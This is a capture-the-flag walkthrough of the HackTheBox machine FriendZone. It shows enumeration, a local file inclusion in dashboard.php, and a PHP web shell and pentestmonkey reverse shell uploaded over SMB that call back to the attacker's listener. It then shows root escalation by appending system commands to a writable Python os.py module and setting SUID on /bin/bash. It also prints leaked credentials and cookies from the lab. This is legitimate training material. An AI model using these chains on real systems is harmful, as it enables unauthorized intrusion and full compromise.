HackTheBox | FriendZone

In this walkthrough, I demonstrate how I obtained complete ownership of FriendZone on HackTheBox
HackTheBox | FriendZone
In: HackTheBox, Attack, CTF, OSCP Prep, TJ Null OSCP Practice

Nmap Results

# Nmap 7.94SVN scan initiated Wed Feb 21 18:25:26 2024 as: nmap -Pn -p- --min-rate 2000 -A -oN nmap.txt 10.10.10.123
Nmap scan report for 10.10.10.123
Host is up (0.011s latency).
Not shown: 65528 closed tcp ports (reset)
PORT    STATE SERVICE     VERSION
21/tcp  open  ftp         vsftpd 3.0.3
22/tcp  open  ssh         OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 a9:68:24:bc:97:1f:1e:54:a5:80:45:e7:4c:d9:aa:a0 (RSA)
|   256 e5:44:01:46:ee:7a:bb:7c:e9:1a:cb:14:99:9e:2b:8e (ECDSA)
|_  256 00:4e:1a:4f:33:e8:a0:de:86:a6:e4:2a:5f:84:61:2b (ED25519)
53/tcp  open  domain      ISC BIND 9.11.3-1ubuntu1.2 (Ubuntu Linux)
| dns-nsid: 
|_  bind.version: 9.11.3-1ubuntu1.2-Ubuntu
80/tcp  open  http        Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Friend Zone Escape software
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
443/tcp open  ssl/http    Apache httpd 2.4.29
|_http-title: 404 Not Found
|_http-server-header: Apache/2.4.29 (Ubuntu)
| ssl-cert: Subject: commonName=friendzone.red/organizationName=CODERED/stateOrProvinceName=CODERED/countryName=JO
| Not valid before: 2018-10-05T21:02:30
|_Not valid after:  2018-11-04T21:02:30
| tls-alpn: 
|_  http/1.1
|_ssl-date: TLS randomness does not represent time
445/tcp open  netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=2/21%OT=21%CT=1%CU=38738%PV=Y%DS=2%DC=T%G=Y%TM=65D6
OS:868F%P=x86_64-pc-linux-gnu)SEQ(SP=101%GCD=1%ISR=108%TI=Z%CI=I%II=I%TS=A)
OS:OPS(O1=M53CST11NW7%O2=M53CST11NW7%O3=M53CNNT11NW7%O4=M53CST11NW7%O5=M53C
OS:ST11NW7%O6=M53CST11)WIN(W1=7120%W2=7120%W3=7120%W4=7120%W5=7120%W6=7120)
OS:ECN(R=Y%DF=Y%T=40%W=7210%O=M53CNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%
OS:F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T
OS:5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=
OS:Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF
OS:=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40
OS:%CD=S)

Network Distance: 2 hops
Service Info: Hosts: FRIENDZONE, 127.0.1.1; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.7.6-Ubuntu)
|   Computer name: friendzone
|   NetBIOS computer name: FRIENDZONE\x00
|   Domain name: \x00
|   FQDN: friendzone
|_  System time: 2024-02-22T01:25:58+02:00
| smb2-time: 
|   date: 2024-02-21T23:25:58
|_  start_date: N/A
|_clock-skew: mean: -40m00s, deviation: 1h09m16s, median: -1s
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
|_nbstat: NetBIOS name: FRIENDZONE, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)

TRACEROUTE (using port 111/tcp)
HOP RTT      ADDRESS
1   10.34 ms 10.10.14.1
2   10.44 ms 10.10.10.123

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Feb 21 18:26:07 2024 -- 1 IP address (1 host up) scanned in 40.69 seconds

Note the friendzone.red in the TLS certificate information on tcp/443. Let's go ahead and add that our /etc/hosts file.

echo '10.10.10.123        friendzone.red' | sudo tee -a /etc/hosts





Service Enumeration

TCP/53

Successful zone transfer!

Let's add the rest of these to our hosts file.

echo '10.10.10.123        administrator1.friendzone.red hr.friendzone.red uploads.friendzone.red' | sudo tee -a /etc/hosts



TCP/21

No anonymous FTP



TCP/139,445

We are able to anonymously list the shares:

  • Files which is mapped to /etc/Files
  • general
  • Development

We can use the smb-enum-shares script with nmap to see which shares map to which path.

sudo nmap -Pn -T4 -p445 --script smb-enum-shares 10.10.10.123

Let's see what we can map.

We are able to anonymously map general and Development. Let's dig around in the file shares and see if there's anything interesting.

'creds.txt' in the 'general' share, we cannot put any files in this share
Nothing in the 'Development' share, but we can put files in the share
The 'admin THING' might be 'administrator1.friendzone.red'



TCP/80

💡
We're going to have to assess tcp/80 and tcp/443 independently, as the target is clearly using virtual hosts. We can see this by the way different content is loading based on the port and HTTP Host header.
VirtualHost Enumeration | 0xBEN | Notes
VirtualHosts Examples .iframe-container { position: relative; overflow: hidden; width: 100%;…

friendzone.red

Let's go ahead and get these add to our /etc/hosts file as well.

echo '10.10.10.123        friendzoneportal.red admin.friendzoneportal.red files.friendzoneportal.red imports.friendzoneportal.red vpn.friendzoneportal.red' | sudo tee -a /etc/hosts

After adding the hostnames to /etc/hosts and navigating to the respective URLs, it seems that tcp/80 is not making use of virtual hosts, as the content is the same regardless of hostname. hr.friendzone.red, uploads.friendzone.red, administrator1.friendzone.red, friendzoneportal.red, admin.friendzoneportal.red, files.friendzoneportal.red, imports.friendzoneportal.red, vpn.friendzoneportal.red all serve the same content.

I wasn't able to find anything interesting with gobuster either.



TCP/443

friendzone.red

hr.friendzone.red

uploads.friendzone.red

oadministrator1.friendzone.red

Login using the information in 'creds.txt'
Almost certainly coupled with the file upload on 'uploads.friendzone.red'
Uploaded a test picture, we can see the timestamp value
We can see that it's trying to load from '/images'
We can list files in this directory
Convert the date and timestamp to Unix time
We can load the file in the directory, assuming we have the correct Unix timestamp

Now would be a great time to see if either of these parameters are vulnerable to Local File Inclusion (LFI). We can use gobuster for this task.

Grab your session cookie from Burp or Dev Tools
gobuster fuzz -k -u "https://administrator1.friendzone.red/dashboard.php?image_id=FUZZ&pagename=$(date +%s)" -w /usr/share/seclists/Discovery/Web-Content/big.txt --exclude-length 302,350-375 -H 'Cookie: FriendZoneAuth=e7749d0f4b4da5d03e6e9196fd1d18f1; sid=f477a5b4-d117-11ee-a367-26c6f6105c83'

Test the 'image_id' parameter, we use the content length to rule out false-positives

Nothing interesting for the image_id parameter. Let's test the pagename parameter.

gobuster fuzz -k -u "https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=FUZZ" -w /usr/share/seclists/Discovery/Web-Content/big.txt --exclude-length 302,352-354 -H 'Cookie: FriendZoneAuth=e7749d0f4b4da5d03e6e9196fd1d18f1; sid=f477a5b4-d117-11ee-a367-26c6f6105c83' -t 10

Test the 'pagename' parameter

Interesting that it found login and dashboard, as both are .php scripts that we've seen while logging into the application. It doesn't seem to apply to the .jpg files no matter how I try. So, the file inclusion only seems to apply to .php files.

🛑
If you try and load pagename=dashboard, this is going to crash your browser, as it puts page in an infinite loop. My guess is that this due to using an INCLUDE statement, which causes the page to keep loading itself.
'pagename=login'
There is definitely a PHP include statement here as the contents match above
php filter hacktricks - Google Search

We can try and read the source code of the login.php and dashboard.php files by using a PHP filter.

pagename=php://filter/convert.base64-encode/resource=dashboard

Convert dashboard.php to a Base64 string

Take the base64 string and decode locally to reveal the page source code

dashboard.php

<?php

//echo "<center><h2>Smart photo script for friendzone corp !</h2></center>";
//echo "<center><h3>* Note : we are dealing with a beginner php developer and the application is not tested yet !</h3></center>";
echo "<title>FriendZone Admin !</title>";
$auth = $_COOKIE["FriendZoneAuth"];

if ($auth === "e7749d0f4b4da5d03e6e9196fd1d18f1"){
 echo "<br><br><br>";

echo "<center><h2>Smart photo script for friendzone corp !</h2></center>";
echo "<center><h3>* Note : we are dealing with a beginner php developer and the application is not tested yet !</h3></center>";

if(!isset($_GET["image_id"])){
  echo "<br><br>";
  echo "<center><p>image_name param is missed !</p></center>";
  echo "<center><p>please enter it to show the image</p></center>";
  echo "<center><p>default is image_id=a.jpg&pagename=timestamp</p></center>";
 }else{
 $image = $_GET["image_id"];
 echo "<center><img src='images/$image'></center>";

 echo "<center><h1>Something went worng ! , the script include wrong param !</h1></center>";
 include($_GET["pagename"].".php");
 //echo $_GET["pagename"];
 }
}else{
echo "<center><p>You can't see the content ! , please login !</center></p>";
}
?>





Exploit

Web Shell

We're going to chain a few vulnerabilities here.

  1. We have write access to the Development share and we know that it's mapped to /etc/Development
  2. We know the web server includes .php files without the .php extension, as we can see the dashboard.php script appends the .php extension to the name on the pagename parameter

I'll use the web shell found here and save it as sh.php.

easy-simple-php-webshell.php
GitHub Gist: instantly share code, notes, and snippets.
smbclient -N //10.10.10.123/Development -c 'put sh.php'

Then, navigate to https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=/etc/Development/sh&cmd=ip%20a



Reverse Shell

We can use this PHP reverse shell here and save it as rev.php then write it to the Development share.

GitHub - pentestmonkey/php-reverse-shell
Contribute to pentestmonkey/php-reverse-shell development by creating an account on GitHub.
wget https://github.com/pentestmonkey/php-reverse-shell/raw/master/php-reverse-shell.php -O rev.php
nano rev.php
$ip = '10.10.14.15';  // CHANGE THIS
$port = 443;       // CHANGE THIS
$shell = 'uname -a; w; id; /bin/bash -i';

I'll make these changes to the script

smbclient -N //10.10.10.123/Development -c 'put rev.php'
sudo rlwrap nc -lnvp 443

Then, navigate to https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=/etc/Development/rev





Post-Exploit Enumeration

Operating Environment

OS & Kernel

NAME="Ubuntu"
VERSION="18.04.1 LTS (Bionic Beaver)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 18.04.1 LTS"
VERSION_ID="18.04"
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
VERSION_CODENAME=bionic
UBUNTU_CODENAME=bionic
    
Linux FriendZone 4.15.0-36-generic #39-Ubuntu SMP Mon Sep 24 16:19:09 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux    

Current User

uid=33(www-data) gid=33(www-data) groups=33(www-data)
    
Sorry, user www-data may not run sudo on FriendZone.



Users and Groups

Local Users

friend:x:1000:1000:friend,,,:/home/friend:/bin/bash    

Local Groups

adm:x:4:syslog,friend
cdrom:x:24:friend
dip:x:30:friend
plugdev:x:46:friend
friend:x:1000:
lpadmin:x:111:friend
sambashare:x:112:friend



Network Configurations

Network Interfaces

ens192: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 00:50:56:b9:f0:7f brd ff:ff:ff:ff:ff:ff
    inet 10.10.10.123/23 brd 10.10.11.255 scope global ens192
       valid_lft forever preferred_lft forever
    inet6 dead:beef::250:56ff:feb9:f07f/64 scope global dynamic mngtmpaddr 
       valid_lft 86400sec preferred_lft 14400sec
    inet6 fe80::250:56ff:feb9:f07f/64 scope link 
       valid_lft forever preferred_lft forever  

Open Ports

tcp        0      0 127.0.0.1:953           0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:953           0.0.0.0:*               LISTEN      -                       



Interesting Files

/opt/server_admin/reporter.py

#!/usr/bin/python

import os

to_address = "admin1@friendzone.com"
from_address = "admin2@friendzone.com"

print "[+] Trying to send email to %s"%to_address

#command = ''' mailsend -to admin2@friendzone.com -from admin1@friendzone.com -ssl -port 465 -auth -smtp smtp.gmail.co-sub scheduled results email +cc +bc -v -user you -pass "PAPAP"'''

#os.system(command)

# I need to edit the script later
# Sam ~ python developer    

/var/www/mysql_data.conf

for development process this is the mysql creds for user friend

db_user=friend

db_pass=Agpyu12!0.213$

db_name=FZ





Privilege Escalation

Lateral to Friend

We discovered the password for friend in /var/www/mysql_data.conf. We can see if the password is re-used for SSH.

We are able to SSH into the target due to password re-use

During my post-exploit enumeration as friend, I ran the following command to see which files I have write permissions to:

find / -type f -writable 2>/dev/null | grep -vE '\/proc|\/sys'

We can see that we have write permissions on os.py, which is one of the locally installed modules, and just happens to be invoke in reporter.py in the import os statement.

We actually have full permissions over the entire directory

I feel quite certain that the /opt/server_admin/reporter.py script is being used in a cron job by the root user, especially when looking at permissions on the script file.



Lateral to Root

My best guess is that the /opt/server_admin/reporter.py script is being used by a cron job run by root at regular intervals. Since the reporter.py script is running import os and we have write access to os.py, let's simply add some test code the os.py module to test our theory.

echo "system('touch /tmp/am_i_root.txt')" >> /usr/lib/python2.7/os.py
Code added to the 'os.py' module
Indeed, we are root!
nano /usr/lib/python2.7/os.py

Edit the file and add your own system command to the script

system('chmod u+s /bin/bash')

Add SUID bit to '/bin/bash', so we can run it in the context of the 'root' owner



Flags

User

3d79d78ae391d6bb9714af8c9742658c    

Root

b26f2c8347fd7f2c58da94d2e346a2e1   
More from 0xBEN
Table of Contents
Great! You’ve successfully signed up.
Welcome back! You've successfully signed in.
You've successfully subscribed to 0xBEN.
Your link has expired.
Success! Check your email for magic link to sign-in.
Success! Your billing info has been updated.
Your billing was not updated.